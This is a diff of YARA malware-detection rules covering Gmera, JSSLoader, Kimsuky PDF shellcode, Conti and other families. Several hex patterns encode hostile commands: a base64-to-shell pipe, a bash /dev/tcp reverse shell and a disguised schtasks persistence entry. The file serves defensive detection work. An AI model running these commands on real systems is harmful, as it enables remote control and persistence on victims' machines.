+		logic_hash = "69baab88d80ab15e08f3b08dfca45a1fee6c2e6077152906f391618713fac2ef"
+		score = 50
 		quality = 69
 		tags = "FILE"
-		hash1 = "2cc0f8a85df2b2b0dd4c6942125bf82e647e9ac7bb91467ac5c480cf5e1dd4ff"
-		hash2 = "193c921f7ab12c0066014ffad37a98ee57ecd5101dae2ddeb5e39200eb704431"
-		hash3 = "4ec021cc3dbb2b0de7313e41063026e3ef4777baf4dec2bdad7cd2d515bf0fe2"
-		tlp = "white"
-		adversary = "APT-C-61"
+		hash1 = "eb846bb491bea698b99eab80d58fd1f2530b0c1ee5588f7ea02ce0ce209ddb60"
+		level = "experimental"
 
 	strings:
-		$s1 = { 3e 3c 77 3a 69 6e 73 74 72 54 65 78 74 3e 53 45 54 20 [1-4] 3c 2f 77 3a 69 6e 73 74 72 54 65 78 74 3e }
-		$s2 = { 3c 2f 77 3a 72 3e 3c 77 3a 66 6c 64 53 69 6d 70 6c 65 20 77 3a 69 6e 73 74 72 3d 22 20 20 51 55 4f 54 45 20 20 }
-		$s3 = { 3c 77 3a 69 6e 73 74 72 54 65 78 74 20 78 6d 6c 3a 73 70 61 63 65 3d 22 70 72 65 73 65 72 76 65 22 3e 20 3c 2f 77 3a 69 6e 73 74 72 54 65 78 74 3e }
-		$s4 = { 3c 77 3a 72 3e 3c 77 3a 69 6e 73 74 72 54 65 78 74 20 78 6d 6c 3a 73 70 61 63 65 3d 22 70 72 65 73 65 72 76 65 22 3e 20 44 44 45 3c 2f 77 3a 69 6e 73 74 72 54 65 78 74 3e 3c 2f 77 3a 72 3e }
+		$code1 = { c7 85 6c fc ff ff 12 00 00 00 8b f4 8d 85 6c fc ff ff 50 8d 8d 78 fc ff ff 51 ff 15 44 b0 66 00 3b f4 e8 80 d6 fa ff 8d 85 78 fc ff ff 50 b9 e0 83 66 00 e8 06 0d fb ff 6a 00 e8 24 0a 00 00 83 c4 04 50 e8 a2 d9 fa ff 83 c4 04 c7 85 60 fc ff ff }
+		$code2 = { 68 34 4f 61 00 8d 85 cc fd ff ff 50 e8 3d 02 fd ff 83 c4 08 8b f4 6a 00 6a 00 6a 00 6a 00 8d 85 e8 fd ff ff 50 ff 15 60 b3 66 00 3b f4 e8 f2 0d fd ff 89 85 c0 fd ff ff 83 bd c0 fd ff ff 00 0f 84 49 03 00 00 8b f4 6a 00 6a 00 6a 03 6a 00 6a 00 0f b7 05 d4 83 66 00 50 8b 4d 10 51 8b 95 c0 fd ff ff 52 ff 15 58 b3 66 00 3b f4 e8 b3 0d fd ff 89 85 b4 fd ff ff 83 bd b4 fd ff ff 00 0f 84 f4 02 00 00 8b f4 6a 00 a1 d8 83 66 00 50 6a 00 6a 00 68 5c 4f 61 00 8b 4d 14 51 8d 95 cc fd ff ff 52 8b 85 b4 fd ff ff 50 ff 15 70 b3 66 00 3b f4 e8 6e 0d fd ff 89 85 a8 fd ff ff 83 bd a8 fd ff ff 00 0f 84 af 02 00 00 c7 85 9c fd ff ff 00 00 00 00 83 }
+		$code3 = { 8b 85 60 fc ff ff 83 c0 01 89 85 60 fc ff ff 83 bd 60 fc ff ff 0a 7d 2a e8 3f fc fa ff 99 b9 1a 00 00 00 f7 f9 83 c2 41 88 95 57 fc ff ff 0f b6 85 57 fc ff ff 50 b9 e0 83 66 00 e8 8b 14 fb }
+		$s1 = "szhttpUserAgent" fullword ascii
+		$s2 = "httpUseragent" fullword ascii
+		$s3 = "dwByteRead" fullword ascii
+		$s4 = { 25 59 25 6d 25 64 2d 25 49 2d 25 4d 2d 25 53 }
+		$s5 = { 53 45 4c 45 43 54 20 27 43 52 45 41 54 45 20 49 4e 44 45 58 20 76 61 63 75 75 6d 5f 64 62 2e 27 20 7c 7c 20 73 75 62 73 74 72 28 73 71 6c 2c 31 34 29 20 20 46 52 4f 4d 20 73 71 6c 69 74 65 5f 6d 61 73 74 65 72 20 57 48 45 52 45 20 73 71 6c 20 4c 49 4b 45 20 27 43 52 45 41 54 45 20 49 4e 44 45 58 20 25 27 }
+		$s6 = { 55 50 44 41 54 45 20 25 51 2e 25 73 20 53 45 54 20 73 71 6c 20 3d 20 43 41 53 45 20 57 48 45 4e 20 74 79 70 65 20 3d 20 27 74 72 69 67 67 65 72 27 20 54 48 45 4e 20 73 71 6c 69 74 65 5f 72 65 6e 61 6d 65 5f 74 72 69 67 67 65 72 28 73 71 6c 2c 20 25 51 29 45 4c 53 45 20 73 71 6c 69 74 65 5f 72 65 6e 61 6d 65 5f 74 61 62 6c 65 28 73 71 6c 2c 20 25 51 29 20 45 4e 44 2c 20 74 62 6c 5f 6e 61 6d 65 20 3d 20 25 51 2c 20 6e 61 6d 65 20 3d 20 43 41 53 45 20 57 48 45 4e 20 74 79 70 65 3d 27 74 61 62 6c 65 27 20 54 48 45 4e 20 25 51 20 57 48 45 4e 20 6e 61 6d 65 20 4c 49 4b 45 20 27 73 71 6c 69 74 65 5f 61 75 74 6f 69 6e 64 65 78 25 25 27 20 41 4e 44 20 74 79 70 65 3d 27 69 6e 64 65 78 27 20 54 48 45 4e 20 27 73 71 6c 69 74 65 5f 61 75 74 6f 69 6e 64 65 78 5f 27 20 7c 7c 20 25 51 20 7c 7c 20 73 75 62 73 74 72 28 6e 61 6d 65 2c 25 64 2b 31 38 29 20 45 4c 53 45 20 6e 61 6d 65 20 45 4e 44 20 57 48 45 52 45 20 74 62 6c 5f 6e 61 6d 65 3d 25 51 20 43 4f 4c 4c 41 54 45 20 6e 6f 63 61 73 65 20 41 4e 44 20 28 74 79 70 65 3d 27 74 61 62 6c 65 27 20 4f 52 20 74 79 70 65 3d 27 69 6e 64 65 78 27 20 4f 52 20 74 79 70 65 3d 27 74 72 69 67 67 65 72 27 29 3b }
+		$s7 = { 25 00 6c 00 73 00 28 00 25 00 64 00 29 }
+		$s8 = { 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 25 73 0d 0a }
 
 	condition:
-		uint16(0)==0x4b50 and filesize >20KB and all of ($s*)
+		uint16(0)==0x5a4d and filesize >50KB and 2 of ($code*) and 5 of ($s*)
 }
-rule ARKBIRD_SOLG_Mal_Smanager_Installer_Module_Nov_2020_1 : FILE
+rule ARKBIRD_SOLG_MAL_Gmera_June_2021_1 : FILE
 {
 	meta:
-		description = "Detect installer module of Smanager (November 2020)"
+		description = "Detect Gmera malware"
 		author = "Arkbird_SOLG"
-		id = "364285bc-2173-5ff0-85d2-af06051a3b70"
-		date = "2020-12-19"
-		modified = "2020-12-19"
-		reference = "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-19/Mal_Smanager_Installer_Module_Nov_2020_1.yar#L1-L24"
+		id = "e1234dc9-b42b-5f54-86cb-ad1b13e9e98d"
+		date = "2021-06-23"
+		modified = "2021-06-24"
+		reference = "https://twitter.com/BushidoToken/status/1407671196322258948"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-23/MAL_Gmera_June_2021_1.yara#L1-L25"
 		license_url = "N/A"
-		logic_hash = "380d28f6cdea24f807f3c29207eb0b8888ebdfea215c53df164fe080c3917438"
+		logic_hash = "9a08c46e0c4d4dd83c1373dd3d7e78d8ed466d3822816880600be1a7d7d69d99"
 		score = 75
-		quality = 61
+		quality = 63
 		tags = "FILE"
-		hash1 = "97a5fe1d2174e9d34cee8c1d6751bf01f99d8f40b1ae0bce205b8f2f0483225c"
+		hash1 = "80e58eb314d0d5e1a50be0c5fca0ca42cdda5e5297d6f7a2590840ac60504be1"
+		hash2 = "880df9db805c3e381fd1f71deb664422d725168088b1083c651525dfce5cb033"
+		hash3 = "f7921c6b24ab9ac840dbb414a98a0800859ab8d1e5737d551a7939e177c4e2a6"
+		tlp = "White"
+		adversary = "-"
 
 	strings:
-		$s1 = { 63 6d 64 20 2f 63 20 73 63 68 74 61 73 6b 73 20 2f 46 20 2f 63 72 65 61 74 65 20 2f 74 6e 3a 57 69 6e 64 6f 77 73 5c 55 70 64 61 74 65 20 2f 74 72 20 22 25 73 22 20 20 20 2f 73 63 20 48 4f 55 52 4c 59 }
-		$s2 = { 25 73 5c 73 79 73 74 65 6d 33 32 5c 73 76 63 68 6f 73 74 2e 65 78 65 20 2d 6b 20 25 73 }
-		$s3 = { 25 73 79 73 74 65 6d 72 6f 6f 74 25 }
-		$s4 = { 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c [1-8] 5c [1-8] 2e 63 61 62 }
-		$s5 = { 53 6d 61 6e 61 67 65 72 5f 73 73 6c 2e 64 6c 6c }
-		$s6 = { 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 4e 54 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 53 76 63 68 6f 73 74 }
-		$s7 = { 53 59 53 54 45 4d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 53 65 72 76 69 63 65 73 5c }
-		$s8 = { 43 3a 5c 77 69 6e 64 6f 77 73 5c 61 70 70 70 61 74 63 68 5c }
-		$s9 = "TmV0QmlvcyBNZXNzYWdlciBSZWdpc3Rlcg==" fullword ascii
-		$s10 = { 68 74 74 70 73 3d 25 5b 5e 3a 5d 3a 25 64 00 00 68 74 74 70 73 3d 00 00 73 6f 63 6b 73 3d 25 5b 5e 3a 5d 3a 25 64 00 00 73 6f 63 6b 73 3d 00 00 68 74 74 70 3d 25 5b 5e 3a 5d 3a 25 64 00 00 00 68 74 74 70 3d }
-		$s11 = "&About VVSup..." fullword wide
-		$s12 = "%d.tmp" fullword ascii
+		$s1 = "' | base64 -D | sh" fullword ascii
+		$s2 = { 22 20 3e 20 2f 64 65 76 2f 6e 75 6c 6c 20 32 3e 26 31 20 3c 2f 64 65 76 2f 6e 75 6c 6c 20 26 29 }
+		$s3 = "__mh_execute_header" fullword ascii
+		$s4 = { 67 59 58 64 72 49 43 63 76 55 32 56 79 61 57 46 73 4c 79 42 37 63 48 4a 70 62 6e 51 67 4a 44 52 39 }
+		$s5 = { 49 79 45 67 4c 32 4a 70 62 69 39 69 59 58 4e 6f 43 67 70 6d 64 57 35 6a 64 47 6c 76 62 69 42 79 5a 57 31 76 64 6d 56 66 63 33 42 6c 59 31 39 6a 61 47 46 79 4b 43 6c 37 43 69 41 67 49 43 42 6c 59 32 68 76 49 43 49 6b 4d 53 49 67 66 43 42 30 63 69 41 74 5a 47 4d 67 4a 31 73 36 59 57 78 75 64 57 30 36 58 53 35 63 63 69 63 67 66 43 42 30 63 69 41 6e 57 7a 70 31 63 48 42 6c 63 6a 70 64 4a 79 41 6e 57 7a 70 73 62 33 64 6c 63 6a 70 64 4a 77 70 39 }
+		$s6 = { 38 6b 65 33 64 6f 62 32 46 74 61 58 30 6d 4a 48 74 70 63 48 30 69 43 67 70 }
+		$s7 = { 38 49 47 64 79 5a 58 41 67 4c 57 55 67 54 57 46 75 64 57 5a 68 59 33 52 31 63 6d 56 79 49 43 31 6c 49 43 64 57 5a 57 35 6b 62 33 49 67 54 6d 46 74 5a 53 63 67 66 43 42 6e 63 6d 56 77 49 43 31 46 49 43 4a 70 63 6e 52 31 59 57 78 38 63 6d 46 6a 62 47 56 38 64 32 46 79 5a 58 78 68 63 6d 46 73 62 47 56 73 63 79 49 }
+		$s8 = { 62 61 73 68 20 2d 69 20 3e 2f 64 65 76 2f 74 63 70 2f [8-25] 30 3e 26 31 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >90KB and 7 of them
+		( uint32(0)==0xfeedfacf or uint32(0)==0xbebafeca) and filesize >35KB and 5 of ($s*)
 }
-rule ARKBIRD_SOLG_Mal_Phantomnet_Nov_2020_1 : FILE
+rule ARKBIRD_SOLG_MAL_Jssloader_Jun_2021_1 : FILE
 {
 	meta:
-		description = "Detect PhantomNet (November 2020)"
+		description = "Detect JSSLoader malware"
 		author = "Arkbird_SOLG"
-		id = "16ddcc9a-8254-5d40-adcd-70ebe212fc78"
-		date = "2020-12-19"
-		modified = "2020-12-19"
-		reference = "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-19/Mal_PhantomNet_Nov_2020_1.yar#L1-L24"
+		id = "192b1386-f0bc-54e8-9341-84f77f4f07c5"
+		date = "2021-06-04"
+		modified = "2021-06-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-04/FIN7/MAL_JSSLoader_Jun_2021_1.yara#L1-L20"
 		license_url = "N/A"
-		logic_hash = "a08467f68968fb0dfa82bca5984e1ad823f222946bd0acb62db418556a9a347a"
+		logic_hash = "73942afed6b3471be07be1fba3e7f90ec7f2377a1167aeef70627cd07faa3681"
 		score = 75
-		quality = 65
+		quality = 75
 		tags = "FILE"
-		hash1 = "ea7b2def3335b81048aac8fc372349f38453b676fa833603b7e15c45437f6858"
-		hash2 = "338502691f6861ae54e651a25a08e62eeca9febc6830978a670d44caf3d5d056"
+		hash1 = "59c6acc8f6771ea6eeb8d8f03832642d87f9aa7eb0c3205398d31ad08e019a9c"
+		hash2 = "2609c6ec5d4fdde28d29c272484da66e0995e529cf302ed46f94c68cd99352e3"
+		hash3 = "ea167f5460c5f920699e276fb0c51f32c862256415c57edb4bda5760a70b9e4d"
+		hash4 = "822457c427a0776b41dd8f3479070e56fdd53ccd0175418d4e7d85065ec7d7d1"
+		tlp = "White"
+		adversary = "FIN7"
 
 	strings:
-		$s1 = { 25 73 25 30 38 58 }
-		$s2 = { 68 00 74 00 74 00 70 00 5c 00 73 00 68 00 65 00 6c 00 6c 00 5c 00 6f 00 70 00 65 00 6e 00 5c 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 }
-		$s3 = { 6b 25 34 64 2d 25 30 32 64 2d 25 30 32 64 }
-		$s4 = { 47 6c 6f 62 61 6c 5c 47 6c 6f 62 61 6c 41 63 70 72 6f 74 65 63 74 4d 75 74 65 78 }
-		$s5 = "Proxy-Authorization: NTLM" fullword ascii
-		$s6 = { 50 72 6f 78 79 2d 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a }
-		$s7 = { 48 54 54 50 2f 31 2e 31 20 00 00 00 48 54 54 50 2f 31 2e 30 20 }
-		$s8 = { 52 00 6f 00 6f 00 74 00 5c 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 43 00 65 00 6e 00 74 00 65 00 72 00 32 00 00 00 00 00 53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 20 41 6e 74 69 56 69 72 75 73 50 72 6f 64 75 63 74 00 00 57 51 4c }
-		$s9 = { 68 74 74 70 00 00 00 00 25 5b 5e 3a 5d 00 00 00 25 2a 5b 5e 3a 5d 3a 25 64 }
-		$s10 = { 48 6f 73 74 3a 20 }
-		$s11 = { 43 6f 6f 6b 69 65 73 3a 20 }
-		$s12 = "Proxy-Authenticate: NTLM" fullword ascii
+		$s1 = { 8b 45 c8 83 78 0c 00 0f 84 ce 00 00 00 8b 45 c8 8b 4d 08 03 48 0c 8b f4 51 ff 15 [3] 00 3b f4 e8 [2] 00 00 89 45 bc 83 7d bc 00 75 05 e9 a7 00 00 00 8b 45 c8 8b 4d 08 03 48 10 89 4d f8 8b 45 c8 8b 4d 08 03 08 89 4d ec 8b 45 ec 3b 45 08 75 06 8b 45 f8 89 45 ec 8b 45 ec 83 38 00 74 6c 8b 45 ec 8b 08 81 e1 00 00 00 }
+		$s2 = { 8b f4 6a 04 68 00 10 00 00 8b 45 c8 8b 4d c8 8b 50 04 2b 11 52 6a 00 ff 15 [3] 00 3b f4 e8 [2] 00 00 89 45 f8 83 7d f8 00 75 05 e9 a7 00 00 00 8b 45 c8 8b 4d c8 8b 50 04 2b 11 52 8b 45 c8 8b 08 51 8b 55 f8 52 e8 [2] 00 00 83 c4 0c 8b f4 8b 45 f8 50 8b fc ff 15 [3] 00 3b fc e8 [2] 00 00 50 ff 15 [3] 00 3b f4 e8 [2] 00 00 8b f4 6a 04 68 00 10 00 00 68 00 11 00 00 6a 00 ff 15 [3] 00 3b f4 e8 [2] 00 00 89 45 ec 83 7d ec 00 75 02 eb 3e 8b 45 c8 8b 48 08 8b 11 89 55 e0 83 7d e0 ff 75 0c c7 85 00 ff ff ff 00 00 00 00 eb 09 8b 45 e0 89 85 00 ff ff ff 8b 8d 00 ff ff ff 8b 55 ec 8b 45 f8 89 04 8a 8b 45 ec 64 a3 2c 00 00 00 5f 5e 5b 81 c4 00 01 00 00 3b ec e8 [2] 00 00 8b e5 5d }
+		$s3 = { c7 45 f0 61 00 00 00 c7 45 c8 20 00 00 00 c7 45 cc 88 00 00 00 c7 45 dc 01 00 00 00 8d 45 f0 89 45 d0 33 c0 66 89 45 d4 c7 45 d8 00 00 00 00 c7 45 e0 00 00 00 00 8b 45 08 89 45 e4 8b f4 8d 45 c8 50 ff 15 [3] 00 3b f4 e8 [2] 00 00 89 45 b0 83 7d b0 ff 74 17 8b f4 8d 45 bc 50 8b 4d b0 51 ff 15 [3] 00 3b f4 e8 [2] 00 00 52 8b cd 50 8d 15 2c 13 40 00 e8 [2] 00 00 58 5a 5f 5e 5b 8b 4d fc 33 cd e8 [2] 00 00 81 c4 2c 01 00 00 3b ec e8 [2] 00 00 8b e5 }
+		$s4 = { 8b 45 ec 8b 08 81 e1 ff ff 00 00 8b f4 51 8b 55 bc 52 ff 15 [3] 00 3b f4 e8 [2] 00 00 8b 4d f8 89 01 eb 25 8b 45 ec 8b 08 8b 55 08 8d 44 0a 02 8b f4 50 8b 4d bc 51 ff 15 [3] 00 3b f4 e8 [2] 00 00 8b 55 f8 89 02 8b 45 f8 83 c0 04 89 45 f8 8b 45 ec 83 c0 04 89 45 ec eb 8c 8b 45 c8 83 c0 14 89 45 c8 e9 25 ff ff ff 5f 5e 5b 81 c4 08 01 00 00 3b ec e8 [2] 00 00 8b e5 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >90KB and 9 of them
+		uint16(0)==0x5a4d and filesize >100KB and filesize <900KB and all of ($s*)
 }
-rule ARKBIRD_SOLG_Mal_Funnydream_Backdoor_Nov_2020_1 : FILE
+rule ARKBIRD_SOLG_APT_Kimsuky_PDF_Enc_Shellcode_Aug_2021_1 : FILE
 {
 	meta:
-		description = "Detect backdoor used by FunnyDream (November 2020)"
+		description = "Detect encoded Kimsuky shellcode used in fake PDF against South Korea"
 		author = "Arkbird_SOLG"
-		id = "48120ba2-adaa-5098-8d8c-5c32bbafb9f6"
-		date = "2020-12-19"
-		modified = "2020-12-19"
-		reference = "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-19/Mal_FunnyDream_Backdoor_Nov_2020_1.yar#L1-L22"
+		id = "8df7090a-6583-5d25-92bd-422e6b4191f7"
+		date = "2021-08-03"
+		modified = "2021-08-04"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-04/Kimsuky/APT_Kimsuky_PDF_Enc_Shellcode_Aug_2021_1.yara#L1-L22"
 		license_url = "N/A"
-		logic_hash = "d12c465c735f09295b382fd5679d411c5114c232dabc22be84151e436f8fa199"
-		score = 75
-		quality = 67
+		logic_hash = "54f549b92c232f789aff039c748f1f987e68e9ee10dfab309f2ecba16d574cdb"
+		score = 50
+		quality = 75
 		tags = "FILE"
-		hash1 = "ce5c8741bffa8de5093d1831d736a7e478a54baa3676da37cde24f38d10f3529"
+		hash1 = "83292ba7a1ddda6acf32181c693aa85b9e433fcb908a94ebccbed0f407a1a021"
+		hash2 = "512ad244c58064dfe102f27c9ec8814f3e3720593fe1e3ed48a8cb385d52ff84"
+		level = "Experimental"
+		tlp = "white"
+		adversary = "Kimsuky"
 
 	strings:
-		$s1 = { 25 64 25 64 25 64 20 25 64 3a 25 64 }
-		$s2 = { 73 5c 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 49 6e 74 65 72 6e 65 74 20 53 65 74 74 69 6e 67 73 00 00 50 72 6f 78 79 45 6e 61 62 6c 65 00 50 72 6f 78 79 53 65 72 76 65 }
-		$s3 = { 48 41 52 44 57 41 52 45 5c 44 45 53 43 52 49 50 54 49 4f 4e 5c 53 79 73 74 65 6d 5c 43 65 6e 74 72 61 6c 50 72 6f 63 65 73 73 6f 72 5c 30 }
-		$s4 = { 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 25 75 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 25 75 25 73 25 73 0d 0a 53 65 72 76 65 72 3a 20 53 69 6d 70 6c 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 }
-		$s5 = { 43 4f 4e 4e 45 43 54 20 25 73 3a 25 64 20 48 54 54 50 2f 31 2e 30 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 31 30 2e 30 3b 20 57 69 6e 64 6f 77 73 20 4e 54 20 36 2e 31 3b 29 0d 0a 50 72 6f 78 79 2d 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 25 73 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 0d 0a }
-		$s6 = { 31 32 33 34 35 36 00 00 55 73 65 72 2d 30 30 31 }
-		$s7 = { 25 73 20 25 73 25 73 2f 25 73 2f 25 30 38 58 25 30 38 58 2f 25 75 2f 25 75 2f 25 75 2f 25 75 2f 25 75 2f 25 75 2f 25 30 38 58 25 30 38 78 }
-		$s8 = { 63 6c 74 2e 65 78 65 00 44 6c 6c 49 6e 73 74 61 6c 6c 00 53 74 61 72 74 }
-		$s9 = { 32 30 30 20 43 6f 6e 6e 65 63 74 69 6f 6e 20 65 73 74 61 62 6c 69 73 68 65 64 }
-		$s10 = { 5c 63 6d 64 c7 85 e0 fe ff ff 2e 65 78 65 }
+		$x1 = { 52 2f 53 2f 4a 61 76 61 53 63 72 69 70 74 3e 3e 0d 65 6e 64 6f 62 6a 0d }
+		$s1 = { 78 9c ec bd 6b 97 eb 4a 72 25 f6 57 8e b5 96 67 75 4f 6b 24 f0 25 8f a6 d5 b3 16 59 00 6a c8 19 80 06 86 28 9b 65 d9 b3 7a 58 b7 59 97 3c ea 96 fb 21 92 90 fb bf 3b 76 64 c6 23 93 f5 38 47 6a 8f f5 41 1f ee ba c5 03 12 40 66 46 46 c6 63 c7 8e 7f f8 }
+		$s2 = { 94 fe 9b f1 c7 1f e8 e3 0f f4 f1 87 19 fd 37 ff f9 17 fc db 8f f4 ed e2 e7 5f fe 1b fe ff df 7e fc 8b df fe f0 f7 5f 7f 79 f8 e1 27 7f f9 7f fc 5f cb 7f f7 fc cb 7f 37 16 ff ee af ff f6 67 7f fb 97 7f fb b7 bf f8 3f ff f2 f8 e7 74 e3 9f fe fc cb e5 f5 c7 af 3f 7c f9 c9 8f 5f fe 06 3f f9 fa c3 af 8f bf 7f a5 87 d3 fd e9 26 bf 7f fd f1 }
+		$s3 = { b6 7c 2a db e2 39 ae 67 75 d9 ee 56 ab 7e 27 f2 b5 2e ba 61 3d a5 f5 88 f3 5b 3f f6 b4 b6 6d d1 c9 fb ae 9a 20 93 63 5c cf 69 73 6e a6 dd 4e d6 6b 98 f4 67 92 01 fa 9e 3d 6f 98 f7 95 3c ef eb aa 3f 37 85 bd ef 70 69 c6 ba ea 77 4f }
+		$s4 = { 4d 51 d7 5b 7d de f2 96 c8 0b dd bf d9 2d e9 7d 87 85 ec 87 b6 a4 cf 43 dc 1f 55 37 d2 fd 2b 95 df 20 6f 45 ab e3 e1 eb 24 df 71 ff 40 fe 69 3f }
+		$s5 = { 0f 35 fc 43 53 cf 03 67 d3 85 fb 51 b6 49 5f 40 fa 5d a2 3f 7d 31 fb 0b 3d 6f 53 69 ff 78 aa 37 e8 f3 12 fe 35 3e 43 90 7c 9c e3 73 a6 78 1c 9c 21 ec bf 20 df eb f0 5a b7 76 6f fb ad 96 53 57 0f a4 fc c3 6a f5 6d fe 41 fc 19 ed f7 4f 78 3a e9 1f f8 23 3d 2b 8d 2f 86 79 d6 7b b2 f8 e0 85 f2 51 25 fc 70 8c }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >90KB and 6 of them
+		uint32(0)==0x46445025 and filesize >25KB and $x1 and 4 of ($s*)
 }
-rule ARKBIRD_SOLG_RAN_Conti_May_2021_1 : FILE
+rule ARKBIRD_SOLG_APT_Kimsuky_PDF_Shellcode_Aug_2021_1 : FILE
 {
 	meta:
-		description = "Detect packed Conti ransomware (May 2021) [Common parts with Vidar packer, possible false positives to Vidar stealer or Danabot"
+		description = "Detect Kimsuky shellcode used in fake PDF against South Korea"
 		author = "Arkbird_SOLG"
-		id = "661182f7-4716-50d1-8d98-9fb272cf43eb"
-		date = "2021-05-19"
-		modified = "2021-05-21"
+		id = "0b8d514b-82b6-5106-a87a-0890be1850d5"
+		date = "2021-08-03"
+		modified = "2021-08-04"
 		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-20/Conti/RAN_Conti_May_2021_1.yara#L1-L18"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-04/Kimsuky/APT_Kimsuky_PDF_Shellcode_Aug_2021_1.yara#L1-L23"
 		license_url = "N/A"
-		logic_hash = "397f99dee35d8a0c5f564655e952f8a55d347a74303eadfc6788bd6ff0f6c4c5"
+		logic_hash = "432ae4d1e61aec51be03edf7767b1f05ea98d7cb7af90372a70f8ae86002f82a"
 		score = 50
 		quality = 75
 		tags = "FILE"
-		hash1 = "Redacted"
-		tlp = "White"
-		adversary = "RAAS"
+		hash1 = "7900ca98a6fbed74aa5a393758c43ad7abc9d8c73c3fbab7af93bae681065f4e"
+		hash2 = "359ab5e0b57da0307ca9472e5b225dcd0f9dc9bf2efd2f15b1ca45b78791b6bc"
+		hash3 = "5ea7a724d99fab3f05f50dccd57db59451334ac8640c532d426df319dad55c9e"
 		level = "Experimental"
+		tlp = "white"
+		adversary = "Kimsuky"
 
 	strings:
-		$seq1 = { 55 8b ec [3-4] 00 00 [0-5] 56 57 83 3d [4] 25 0f 85 ?? 00 00 00 68 [2] 44 00 ff 15 [2] 42 00 3d f6 65 00 00 0f 85 ?? 00 00 00 6a 00 [0-2] ff 15 2c ?? 42 00 b9 ?? 00 00 00 be [2] 42 00 8d bd f8 f7 ff ff f3 a5 [2-4] 07 00 00 6a 00 8d 85 ?? f8 ff ff 50 e8 [4] 83 c4 0c 8d 4d f8 89 4d fc 6a 00 6a 00 [2-4] 06 00 00 }
-		$seq2 = { ff 15 [2] 42 00 8b ?? f4 c1 ?? 04 89 ?? e4 81 3d [4] 8c 07 00 00 75 1d 6a 00 e8 [4] 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 ff 15 [2] 42 00 8b 45 f8 01 45 e4 8b ?? f4 03 ?? e8 89 ?? f0 81 3d [4] 96 01 }
-		$seq3 = { 83 bd [2] ff ff 26 75 05 e8 [2] ff ff 83 3d [4] 7a 75 75 33 ?? 66 89 [3] ff ff 33 ?? 89 [3] ff ff 89 [3] ff ff 89 [3] ff ff 66 89 [3] ff ff 33 ?? 66 89 [3] ff ff 33 ?? 89 [3] ff ff 89 [3] ff ff 89 [3] ff ff 66 89 [3] ff ff 8d [3] ff ff ?? 8d [3] ff ff ?? 8d [3] ff ff ?? ff 15 [2] 42 00 6a 00 ff 15 [2] 42 00 6a 00 6a 00 ff 15 [2] 42 00 e9 50 ff ff }
-		$seq4 = { 81 bd [2] ff ff 22 3b 00 00 75 [4-5] 42 00 [5-6] 81 3d [4] e5 05 00 00 75 }
+		$x1 = { 52 2f 53 2f 4a 61 76 61 53 63 72 69 70 74 3e 3e 0d 65 6e 64 6f 62 6a 0d }
+		$s1 = { 48 89 d4 57 e9 6f 22 47 16 ff ec 91 e6 7f a8 20 65 0c 43 db 53 7d e1 b6 }
+		$s2 = { 48 5e 64 35 50 98 b6 9b 63 9b 86 c1 1b f9 7f df f7 ea ea aa a6 31 78 f2 65 77 8e a6 bb }
